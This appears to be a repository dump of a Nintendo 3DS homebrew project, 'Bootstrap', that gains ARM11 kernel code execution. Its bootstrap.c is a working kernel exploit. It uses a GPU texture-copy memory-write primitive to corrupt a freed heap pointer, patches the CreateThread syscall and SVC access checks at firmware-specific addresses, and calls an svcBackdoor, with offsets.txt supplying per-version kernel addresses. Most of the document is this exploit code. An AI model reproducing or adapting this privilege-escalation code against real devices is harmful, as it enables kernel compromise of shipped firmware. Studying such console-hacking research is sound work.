├── .gitignore ├── Makefile ├── bootstrap.3dsx ├── bootstrap.c ├── bootstrap.h ├── main.c ├── offsets.txt ├── utils.h └── utils.s /.gitignore: -------------------------------------------------------------------------------- 1 | build/* 2 | 3 | *.3dsx 4 | *.smdh 5 | *.elf 6 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | #--------------------------------------------------------------------------------- 2 | .SUFFIXES: 3 | #--------------------------------------------------------------------------------- 4 | 5 | ifeq ($(strip $(DEVKITARM)),) 6 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 7 | endif 8 | 9 | TOPDIR ?= $(CURDIR) 10 | include $(DEVKITARM)/3ds_rules 11 | 12 | #--------------------------------------------------------------------------------- 13 | # TARGET is the name of the output 14 | # BUILD is the directory where object files & intermediate files will be placed 15 | # SOURCES is a list of directories containing source code 16 | # DATA is a list of directories containing data files 17 | # INCLUDES is a list of directories containing header files 18 | # 19 | # NO_SMDH: if set to anything, no SMDH file is generated. 20 | # APP_TITLE is the name of the app stored in the SMDH file (Optional) 21 | # APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional) 22 | # APP_AUTHOR is the author of the app stored in the SMDH file (Optional) 23 | # ICON is the filename of the icon (.png), relative to the project folder. 24 | # If not set, it attempts to use one of the following (in this order): 25 | # - .png 26 | # - icon.png 27 | # - /default_icon.png 28 | #--------------------------------------------------------------------------------- 29 | TARGET := $(notdir $(CURDIR)) 30 | BUILD := build 31 | SOURCES := . 32 | DATA := data 33 | INCLUDES := include 34 | APP_TITLE := Bootstrap 35 | APP_DESCRIPTION := ARM11 Kernel Code Execution 36 | APP_AUTHOR := Shiny Quagsire 37 | 38 | #--------------------------------------------------------------------------------- 39 | # options for code generation 40 | #--------------------------------------------------------------------------------- 41 | ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard 42 | 43 | CFLAGS := -g -Wall -O3 -mword-relocations \ 44 | -fomit-frame-pointer -ffast-math \ 45 | $(ARCH) 46 | 47 | CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -w 48 | 49 | CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 -w 50 | 51 | ASFLAGS := -g $(ARCH) 52 | LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) 53 | 54 | LIBS := -lctru -lm 55 | 56 | #--------------------------------------------------------------------------------- 57 | # list of directories containing libraries, this must be the top level containing 58 | # include and lib 59 | #--------------------------------------------------------------------------------- 60 | LIBDIRS := $(CTRULIB) 61 | 62 | 63 | #--------------------------------------------------------------------------------- 64 | # no real need to edit anything past this point unless you need to add additional 65 | # rules for different file extensions 66 | #--------------------------------------------------------------------------------- 67 | ifneq ($(BUILD),$(notdir $(CURDIR))) 68 | #--------------------------------------------------------------------------------- 69 | 70 | export OUTPUT := $(CURDIR)/$(TARGET) 71 | export TOPDIR := $(CURDIR) 72 | 73 | export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ 74 | $(foreach dir,$(DATA),$(CURDIR)/$(dir)) 75 | 76 | export DEPSDIR := $(CURDIR)/$(BUILD) 77 | 78 | CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) 79 | CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) 80 | SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) 81 | BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) 82 | 83 | #--------------------------------------------------------------------------------- 84 | # use CXX for linking C++ projects, CC for standard C 85 | #--------------------------------------------------------------------------------- 86 | ifeq ($(strip $(CPPFILES)),) 87 | #--------------------------------------------------------------------------------- 88 | export LD := $(CC) 89 | #--------------------------------------------------------------------------------- 90 | else 91 | #--------------------------------------------------------------------------------- 92 | export LD := $(CXX) 93 | #--------------------------------------------------------------------------------- 94 | endif 95 | #--------------------------------------------------------------------------------- 96 | 97 | export OFILES := $(addsuffix .o,$(BINFILES)) \ 98 | $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) 99 | 100 | export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ 101 | $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ 102 | -I$(CURDIR)/$(BUILD) 103 | 104 | export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) 105 | 106 | ifeq ($(strip $(ICON)),) 107 | icons := $(wildcard *.png) 108 | ifneq (,$(findstring $(TARGET).png,$(icons))) 109 | export APP_ICON := $(TOPDIR)/$(TARGET).png 110 | else 111 | ifneq (,$(findstring icon.png,$(icons))) 112 | export APP_ICON := $(TOPDIR)/icon.png 113 | endif 114 | endif 115 | else 116 | export APP_ICON := $(TOPDIR)/$(ICON) 117 | endif 118 | 119 | .PHONY: $(BUILD) clean all 120 | 121 | #--------------------------------------------------------------------------------- 122 | all: $(BUILD) 123 | 124 | $(BUILD): 125 | @echo $(SFILES) 126 | @[ -d $@ ] || mkdir -p $@ 127 | @make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile 128 | 129 | #--------------------------------------------------------------------------------- 130 | clean: 131 | @echo clean ... 132 | @rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf 133 | 134 | 135 | #--------------------------------------------------------------------------------- 136 | else 137 | 138 | DEPENDS := $(OFILES:.o=.d) 139 | 140 | #--------------------------------------------------------------------------------- 141 | # main targets 142 | #--------------------------------------------------------------------------------- 143 | ifeq ($(strip $(NO_SMDH)),) 144 | .PHONY: all 145 | all : $(OUTPUT).3dsx $(OUTPUT).smdh 146 | endif 147 | cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label 148 | $(OUTPUT).3dsx : $(OUTPUT).elf 149 | $(OUTPUT).elf : $(OFILES) 150 | 151 | #--------------------------------------------------------------------------------- 152 | # you need a rule like this for each extension you use as binary data 153 | #--------------------------------------------------------------------------------- 154 | %.bin.o : %.bin 155 | #--------------------------------------------------------------------------------- 156 | @echo $(notdir $<) 157 | @$(bin2o) 158 | 159 | # WARNING: This is not the right way to do this! TODO: Do it right! 160 | #--------------------------------------------------------------------------------- 161 | %.vsh.o : %.vsh 162 | #--------------------------------------------------------------------------------- 163 | @echo $(notdir $<) 164 | @python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin 165 | @bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@ 166 | @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h 167 | @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h 168 | @echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h 169 | @rm ../$(notdir $<).shbin 170 | 171 | -include $(DEPENDS) 172 | 173 | #--------------------------------------------------------------------------------------- 174 | endif 175 | #--------------------------------------------------------------------------------------- 176 | -------------------------------------------------------------------------------- /bootstrap.3dsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shinyquagsire23/bootstrap/a85a854eceecaa436134b943a476a798d7ee6993/bootstrap.3dsx -------------------------------------------------------------------------------- /bootstrap.c: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "utils.h" 9 | 10 | u32 patch_addr; 11 | u32 svc_patch_addr; 12 | 13 | bool patched_svc = false; 14 | 15 | u32 *backup; 16 | u32 *arm11_buffer; 17 | 18 | u32 nop_slide[0x1000] __attribute__((aligned(0x1000))); 19 | 20 | // Uncomment to have progress printed w/ printf 21 | #define DEBUG_PROCESS 22 | 23 | #define dbg_log(...) printf(__VA_ARGS__) 24 | #ifdef DEBUG_PROCESS 25 | #else 26 | #define dbg_log(...) 27 | #endif 28 | 29 | int do_gshax_copy(void *dst, void *src, unsigned int len) 30 | { 31 | unsigned int check_mem = linearMemAlign(0x10000, 0x40); 32 | int i = 0; 33 | 34 | // Sometimes I don't know the actual value to check (when copying from unknown memory) 35 | // so instead of using check_mem/check_off, just loop "enough" times. 36 | for (i = 0; i < 5; ++i) { 37 | GSPGPU_FlushDataCache(NULL, src, len); 38 | GX_SetTextureCopy(NULL, src, 0, dst, 0, len, 8); 39 | GSPGPU_FlushDataCache(NULL, check_mem, 16); 40 | GX_SetTextureCopy(NULL, src, 0, check_mem, 0, 0x40, 8); 41 | } 42 | 43 | linearFree(check_mem); 44 | 45 | return 0; 46 | } 47 | 48 | void build_nop_slide(u32* dst, unsigned int len) 49 | { 50 | int i; 51 | for (i = 0; i < len; i++) 52 | dst[i] = 0xE1A00000; // ARM NOP instruction 53 | 54 | dst[i-1] = 0xE12FFF1E; // ARM BX LR instruction 55 | } 56 | 57 | int get_version_specific_addresses() 58 | { 59 | // get proper patch address for our kernel -- thanks yifanlu once again 60 | u32 kversion = *(vu32*)0x1FF80000; // KERNEL_VERSION register 61 | 62 | patch_addr = 0; 63 | svc_patch_addr = 0; 64 | 65 | u8 isN3DS = 0; 66 | APT_CheckNew3DS(NULL, &isN3DS); 67 | 68 | if(!isN3DS || kversion < 0x022C0600) 69 | { 70 | switch (kversion) 71 | { 72 | case 0x02220000: // 2.34-0 4.1.0 73 | patch_addr = 0xEFF83C97; 74 | svc_patch_addr = 0xEFF827CC; 75 | break; 76 | case 0x02230600: // 2.35-6 5.0.0 77 | patch_addr = 0xEFF8372F; 78 | svc_patch_addr = 0xEFF822A8; 79 | break; 80 | case 0x02240000: // 2.36-0 5.1.0 81 | case 0x02250000: // 2.37-0 6.0.0 82 | case 0x02260000: // 2.38-0 6.1.0 83 | patch_addr = 0xEFF8372B; 84 | svc_patch_addr = 0xEFF822A4; 85 | break; 86 | case 0x02270400: // 2.39-4 7.0.0 87 | patch_addr = 0xEFF8372F; 88 | svc_patch_addr = 0xEFF822A8; 89 | break; 90 | case 0x02280000: // 2.40-0 7.2.0 91 | patch_addr = 0xEFF8372B; 92 | svc_patch_addr = 0xEFF822A4; 93 | break; 94 | case 0x022C0600: // 2.44-6 8.0.0 95 | patch_addr = 0xDFF83767; 96 | svc_patch_addr = 0xDFF82294; 97 | break; 98 | case 0x022E0000: // 2.26-0 9.0.0 99 | patch_addr = 0xDFF83837; 100 | svc_patch_addr = 0xDFF82290; 101 | break; 102 | default: 103 | dbg_log("Unrecognized kernel version 0x%08X, returning...\n", kversion); 104 | return 0; 105 | } 106 | } 107 | else 108 | { 109 | switch (kversion) 110 | { 111 | case 0x022C0600: // N3DS 2.44-6 8.0.0 112 | case 0x022E0000: // N3DS 2.26-0 9.0.0 113 | patch_addr = 0xDFF8382F; 114 | svc_patch_addr = 0xDFF82260; 115 | break; 116 | default: 117 | dbg_log("Unrecognized kernel version 0x%08X, returning...\n", kversion); 118 | return 0; 119 | } 120 | } 121 | 122 | dbg_log("Kernel Version: 0x%08X\n", kversion); 123 | dbg_log("CreateThread Addr: 0x%08X\n", patch_addr); 124 | dbg_log("SVC Addr: 0x%08X\n", svc_patch_addr); 125 | return 1; 126 | } 127 | 128 | int arm11_kernel_exploit_setup(void) 129 | { 130 | get_version_specific_addresses(); 131 | 132 | // Part 1: corrupt kernel memory 133 | u32 mem_hax_mem; 134 | svcControlMemory(&mem_hax_mem, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, MEMPERM_READ | MEMPERM_WRITE); 135 | u32 mem_hax_mem_free = mem_hax_mem + 0x1000; 136 | 137 | printf("Freeing memory\n"); 138 | u32 tmp_addr; 139 | svcControlMemory(&tmp_addr, mem_hax_mem_free, 0, 0x1000, MEMOP_FREE, 0); // free page 140 | 141 | printf("Backing up heap area\n"); 142 | do_gshax_copy(arm11_buffer, mem_hax_mem_free, 0x20u); 143 | 144 | u32 saved_heap[8]; 145 | memcpy(saved_heap, arm11_buffer, sizeof(saved_heap)); 146 | 147 | arm11_buffer[0] = 1; 148 | arm11_buffer[1] = patch_addr; 149 | arm11_buffer[2] = 0; 150 | arm11_buffer[3] = 0; 151 | 152 | // Overwrite free pointer 153 | dbg_log("Overwriting free pointer 0x%08X\n", mem_hax_mem); 154 | do_gshax_copy(mem_hax_mem_free, arm11_buffer, 0x10u); 155 | 156 | // Trigger write to kernel 157 | svcControlMemory(&tmp_addr, mem_hax_mem, 0, 0x1000, MEMOP_FREE, 0); 158 | dbg_log("Triggered kernel write\n"); 159 | 160 | memcpy(arm11_buffer, saved_heap, sizeof(saved_heap)); 161 | printf("Restoring heap\n"); 162 | do_gshax_copy(mem_hax_mem, arm11_buffer, 0x20u); 163 | 164 | // Part 2: trick to clear icache 165 | build_nop_slide(arm11_buffer, 0x1000); 166 | do_gshax_copy(nop_slide, arm11_buffer, 0x1000); 167 | HB_FlushInvalidateCache(); 168 | 169 | ((void (*)(void))nop_slide)(); 170 | dbg_log("Executed nop slide\n"); 171 | 172 | return 1; 173 | } 174 | 175 | // after running setup, run this to execute func in ARM11 kernel mode 176 | int __attribute__((naked)) 177 | arm11_kernel_exploit_exec (int (*func)(void)) 178 | { 179 | asm volatile ("svc 8 \t\n" // CreateThread syscall, corrupted, args not needed 180 | "bx lr \t\n"); 181 | } 182 | 183 | 184 | void test(void) 185 | { 186 | arm11_buffer[0] = 0xFAAFFAAF; 187 | } 188 | 189 | int __attribute__((naked)) 190 | arm11_patch_kernel(void) 191 | { 192 | asm volatile ("add sp, sp, #8 \t\n"); 193 | 194 | arm11_buffer[0] = 0xF00FF00F; 195 | 196 | // fix up memory 197 | *(vu32*)(patch_addr + 8) = 0x8DD00CE5; 198 | 199 | // give us access to all SVCs (including 0x7B, so we can return to kernel mode) 200 | if (svc_patch_addr > 0) 201 | { 202 | *(vu32*)(svc_patch_addr) = 0xE320F000; // NOP 203 | *(vu32*)(svc_patch_addr + 8) = 0xE320F000; // NOP 204 | patched_svc = true; 205 | } 206 | 207 | InvalidateEntireInstructionCache(); 208 | InvalidateEntireDataCache(); 209 | 210 | asm volatile ("movs r0, #0 \t\n" 211 | "ldr pc, [sp], #4 \t\n"); 212 | } 213 | 214 | bool doARM11Hax() 215 | { 216 | int result = 0; 217 | int i; 218 | 219 | HB_ReprotectMemory(nop_slide, 4, 7, &result); 220 | build_nop_slide(nop_slide, 0x1000); 221 | HB_FlushInvalidateCache(); 222 | 223 | ((void (*)(void))nop_slide)(); 224 | dbg_log("Executed test nop slide\n"); 225 | 226 | arm11_buffer = linearMemAlign(0x10000, 0x10000); 227 | 228 | // wipe memory for debugging purposes 229 | for (i = 0; i < 0x1000/4; i++) 230 | arm11_buffer[i] = 0xdeadbeef; 231 | 232 | if (arm11_kernel_exploit_setup()) 233 | { 234 | dbg_log("Kernel exploit set up\n"); 235 | 236 | arm11_kernel_exploit_exec(arm11_patch_kernel); 237 | dbg_log("ARM11 Kernel code executed\n"); 238 | 239 | if (patched_svc) 240 | { 241 | dbg_log("Testing SVC 0x7B\n"); 242 | svcBackdoor(test); 243 | return true; 244 | } 245 | } 246 | 247 | dbg_log("Kernel exploit set up failed!\n\n"); 248 | return false; 249 | } 250 | -------------------------------------------------------------------------------- /bootstrap.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | extern unsigned int *arm11_buffer; 6 | 7 | int do_gshax_copy(void *dst, void *src, unsigned int len, unsigned int check_val, int check_off); 8 | bool doARM11Hax(); 9 | 10 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "bootstrap.h" 9 | 10 | void waitKey() { 11 | while (aptMainLoop()) 12 | { 13 | // Wait next screen refresh 14 | gspWaitForVBlank(); 15 | 16 | // Read which buttons are currently pressed 17 | hidScanInput(); 18 | u32 kDown = hidKeysDown(); 19 | u32 kHeld = hidKeysHeld(); 20 | 21 | // If START is pressed, break loop and quit 22 | if (kDown & KEY_X){ 23 | break; 24 | } 25 | 26 | // Flush and swap framebuffers 27 | gfxFlushBuffers(); 28 | gfxSwapBuffers(); 29 | } 30 | } 31 | 32 | int main() 33 | { 34 | // Initialize services 35 | gfxInitDefault(); // graphics 36 | hbInit(); 37 | 38 | consoleInit(GFX_TOP, NULL); 39 | 40 | while (!doARM11Hax()); 41 | 42 | printf("Success!\n\n"); 43 | waitKey(); 44 | 45 | // Exit services 46 | hbExit(); 47 | gfxExit(); 48 | 49 | // Return to hbmenu 50 | return 0; 51 | } 52 | -------------------------------------------------------------------------------- /offsets.txt: -------------------------------------------------------------------------------- 1 | 2.34-0 4.1.0 2 | 0x08F028D8: 0x009D2000 ; //payload code 3 | 0x08F028DC: 0x252D3000 ; 4 | 0x08F028E0: 0x1E5F8FFD ; //orig code 5 | 0x08F028E4: 0x192D3000 ; 6 | 0x08F028E8: 0xEFF83C97 ; //kernel patch addr 7 | 0x08F028EC: 0xF0000000 ; 8 | 0x08F028F0: 0xE8000000 ; 9 | 0x08F028F4: 0xEFFF4C80 ; 10 | 0x08F028F8: 0xEFFE4DD4 ; 11 | 0x08F028FC: 0xFFF84DDC ; 12 | 0x08F02900: 0xFFF748C4 ; 13 | 0x08F02904: 0xEFFF497C ; 14 | 0x08F02908: 0x1FFF4C84 ; 15 | 0x08F0290C: 0xFFFD0000 ; 16 | 0x08F02910: 0xFFFD2000 ; 17 | 0x08F02914: 0xFFFD4000 ; 18 | 0x08F02918: 0xFFFCE000 ; 19 | 20 | // 2.35-6 5.0.0 21 | 0x08F0291C: 0x009D2000 ; //payload code 22 | 0x08F02920: 0x255D1000 ; 23 | 0x08F02924: 0x1E5F8FFD ; //orig code 24 | 0x08F02928: 0x195D1000 ; 25 | 0x08F0292C: 0xEFF8372F ; //kernel patch addr 26 | 0x08F02930: 0xF0000000 ; 27 | 0x08F02934: 0xE8000000 ; 28 | 0x08F02938: 0xEFFF4C80 ; 29 | 0x08F0293C: 0xEFFE55BC ; 30 | 0x08F02940: 0xFFF765C4 ; 31 | 0x08F02944: 0xFFF64B94 ; 32 | 0x08F02948: 0xEFFF4978 ; 33 | 0x08F0294C: 0x1FFF4C84 ; 34 | 0x08F02950: 0xFFFD0000 ; 35 | 0x08F02954: 0xFFFD2000 ; 36 | 0x08F02958: 0xFFFD4000 ; 37 | 0x08F0295C: 0xFFFCE000 ; 38 | 39 | // 2.36-0 5.1.0 40 | 0x08F02960: 0x009D2000 ; //payload code 41 | 0x08F02964: 0x255D1000 ; 42 | 0x08F02968: 0x1E5F8FFD ; //orig code 43 | 0x08F0296C: 0x195D1000 ; 44 | 0x08F02970: 0xEFF8372B ; //kernel patch addr 45 | 0x08F02974: 0xF0000000 ; 46 | 0x08F02978: 0xE8000000 ; 47 | 0x08F0297C: 0xEFFF4C80 ; 48 | 0x08F02980: 0xEFFE55B8 ; 49 | 0x08F02984: 0xFFF765C0 ; 50 | 0x08F02988: 0xFFF64B90 ; 51 | 0x08F0298C: 0xEFFF4978 ; 52 | 0x08F02990: 0x1FFF4C84 ; 53 | 0x08F02994: 0xFFFD0000 ; 54 | 0x08F02998: 0xFFFD2000 ; 55 | 0x08F0299C: 0xFFFD4000 ; 56 | 0x08F029A0: 0xFFFCE000 ; 57 | 58 | // 2.37-0 6.0.0 59 | 0x08F029A4: 0x009D2000 ; //payload code 60 | 0x08F029A8: 0x255D1000 ; 61 | 0x08F029AC: 0x1E5F8FFD ; //orig code 62 | 0x08F029B0: 0x195D1000 ; 63 | 0x08F029B4: 0xEFF8372B ; //kernel patch addr 64 | 0x08F029B8: 0xF0000000 ; 65 | 0x08F029BC: 0xE8000000 ; 66 | 0x08F029C0: 0xEFFF4C80 ; 67 | 0x08F029C4: 0xEFFE5AE8 ; 68 | 0x08F029C8: 0xFFF76AF0 ; 69 | 0x08F029CC: 0xFFF64A78 ; 70 | 0x08F029D0: 0xEFFF4978 ; 71 | 0x08F029D4: 0x1FFF4C84 ; 72 | 0x08F029D8: 0xFFFD0000 ; 73 | 0x08F029DC: 0xFFFD2000 ; 74 | 0x08F029E0: 0xFFFD4000 ; 75 | 0x08F029E4: 0xFFFCE000 ; 76 | 77 | // 2.38-0 6.1.0 78 | 0x08F029E8: 0x009D2000 ; //payload code 79 | 0x08F029EC: 0x255D1000 ; 80 | 0x08F029F0: 0x1E5F8FFD ; //orig code 81 | 0x08F029F4: 0x195D1000 ; 82 | 0x08F029F8: 0xEFF8372B ; //kernel patch addr 83 | 0x08F029FC: 0xF0000000 ; 84 | 0x08F02A00: 0xE8000000 ; 85 | 0x08F02A04: 0xEFFF4C80 ; 86 | 0x08F02A08: 0xEFFE5AE8 ; 87 | 0x08F02A0C: 0xFFF76AF0 ; 88 | 0x08F02A10: 0xFFF64A78 ; 89 | 0x08F02A14: 0xEFFF4978 ; 90 | 0x08F02A18: 0x1FFF4C84 ; 91 | 0x08F02A1C: 0xFFFD0000 ; 92 | 0x08F02A20: 0xFFFD2000 ; 93 | 0x08F02A24: 0xFFFD4000 ; 94 | 0x08F02A28: 0xFFFCE000 ; 95 | 96 | // 2.39-4 7.0.0 97 | 0x08F02A2C: 0x009D2000 ; //payload code 98 | 0x08F02A30: 0x255D1000 ; 99 | 0x08F02A34: 0x1E5F8FFD ; //orig code 100 | 0x08F02A38: 0x195D1000 ; 101 | 0x08F02A3C: 0xEFF8372F ; //kernel patch addr 102 | 0x08F02A40: 0xF0000000 ; 103 | 0x08F02A44: 0xE8000000 ; 104 | 0x08F02A48: 0xEFFF4C80 ; 105 | 0x08F02A4C: 0xEFFE5B34 ; 106 | 0x08F02A50: 0xFFF76B3C ; 107 | 0x08F02A54: 0xFFF64AB0 ; 108 | 0x08F02A58: 0xEFFF4978 ; 109 | 0x08F02A5C: 0x1FFF4C84 ; 110 | 0x08F02A60: 0xFFFD0000 ; 111 | 0x08F02A64: 0xFFFD2000 ; 112 | 0x08F02A68: 0xFFFD4000 ; 113 | 0x08F02A6C: 0xFFFCE000 ; 114 | 115 | 0x08F02A70: 0x009D2000 ; //payload code 116 | 0x08F02A74: 0x255D1000 ; 117 | 0x08F02A78: 0x1E5F8FFD ; //orig code 118 | 0x08F02A7C: 0x195D1000 ; 119 | 0x08F02A80: 0xEFF8372B ; //kernel patch addr 120 | 0x08F02A84: 0xF0000000 ; 121 | 0x08F02A88: 0xE8000000 ; 122 | 0x08F02A8C: 0xEFFF4C80 ; 123 | 0x08F02A90: 0xEFFE5B30 ; 124 | 0x08F02A94: 0xFFF76B38 ; 125 | 0x08F02A98: 0xFFF64AAC ; 126 | 0x08F02A9C: 0xEFFF4978 ; 127 | 0x08F02AA0: 0x1FFF4C84 ; 128 | 0x08F02AA4: 0xFFFD0000 ; 129 | 0x08F02AA8: 0xFFFD2000 ; 130 | 0x08F02AAC: 0xFFFD4000 ; 131 | 0x08F02AB0: 0xFFFCE000 ; 132 | 133 | // 2.40-0 7.2.0 134 | 0x08F02AB4: 0x009D2000 ; //payload code 135 | 0x08F02AB8: 0x255D1000 ; 136 | 0x08F02ABC: 0x1E5F8FFD ; //orig code 137 | 0x08F02AC0: 0x195D1000 ; 138 | 0x08F02AC4: 0xDFF83767 ; //kernel patch addr 139 | 0x08F02AC8: 0xE0000000 ; 140 | 0x08F02ACC: 0xD8000000 ; 141 | 0x08F02AD0: 0xDFFF4C80 ; 142 | 0x08F02AD4: 0xDFFE4F28 ; 143 | 0x08F02AD8: 0xFFF66F30 ; 144 | 0x08F02ADC: 0xFFF54BAC ; 145 | 0x08F02AE0: 0xDFFF4974 ; 146 | 0x08F02AE4: 0x1FFF4C84 ; 147 | 0x08F02AE8: 0xFFFBE000 ; 148 | 0x08F02AEC: 0xFFFC0000 ; 149 | 0x08F02AF0: 0xFFFC2000 ; 150 | 0x08F02AF4: 0xFFFBC000 ; 151 | 152 | // 2.44-6 8.0.0 153 | 0x08F02AF8: 0x009D2000 ; //payload code 154 | 0x08F02AFC: 0x255D1000 ; 155 | 0x08F02B00: 0x1E5F8FFD ; //orig code 156 | 0x08F02B04: 0x195D1000 ; 157 | 0x08F02B08: 0xDFF83837 ; //kernel patch addr 158 | 0x08F02B0C: 0xE0000000 ; 159 | 0x08F02B10: 0xD8000000 ; 160 | 0x08F02B14: 0xDFFF4C80 ; 161 | 0x08F02B18: 0xDFFE59D0 ; 162 | 0x08F02B1C: 0xFFF279D8 ; 163 | 0x08F02B20: 0xFFF151C0 ; 164 | 0x08F02B24: 0xDFFF4974 ; 165 | 0x08F02B28: 0x1FFF4C84 ; 166 | 0x08F02B2C: 0xFFFC2000 ; 167 | 0x08F02B30: 0xFFFC4000 ; 168 | 0x08F02B34: 0xFFFC6000 ; 169 | 170 | N3DS 9.0.0-20 171 | 0xDFF8382F 172 | 173 | -------------------------------------------------------------------------------- /utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | void InvalidateEntireInstructionCache(void); 4 | void InvalidateEntireDataCache(void); 5 | 6 | int svcBackdoor(int (*func)(void)); 7 | 8 | -------------------------------------------------------------------------------- /utils.s: -------------------------------------------------------------------------------- 1 | .global InvalidateEntireInstructionCache 2 | .type InvalidateEntireInstructionCache, %function 3 | InvalidateEntireInstructionCache: 4 | mov r0, #0 5 | mcr p15, 0, r0, c7, c5, 0 6 | bx lr 7 | 8 | .global InvalidateEntireDataCache 9 | .type InvalidateEntireDataCache, %function 10 | InvalidateEntireDataCache: 11 | mov r0, #0 12 | mcr p15, 0, r0, c7, c10, 0 13 | bx lr 14 | 15 | .global svcBackdoor 16 | .type svcBackdoor, %function 17 | svcBackdoor: 18 | svc 0x7B 19 | bx lr 20 | --------------------------------------------------------------------------------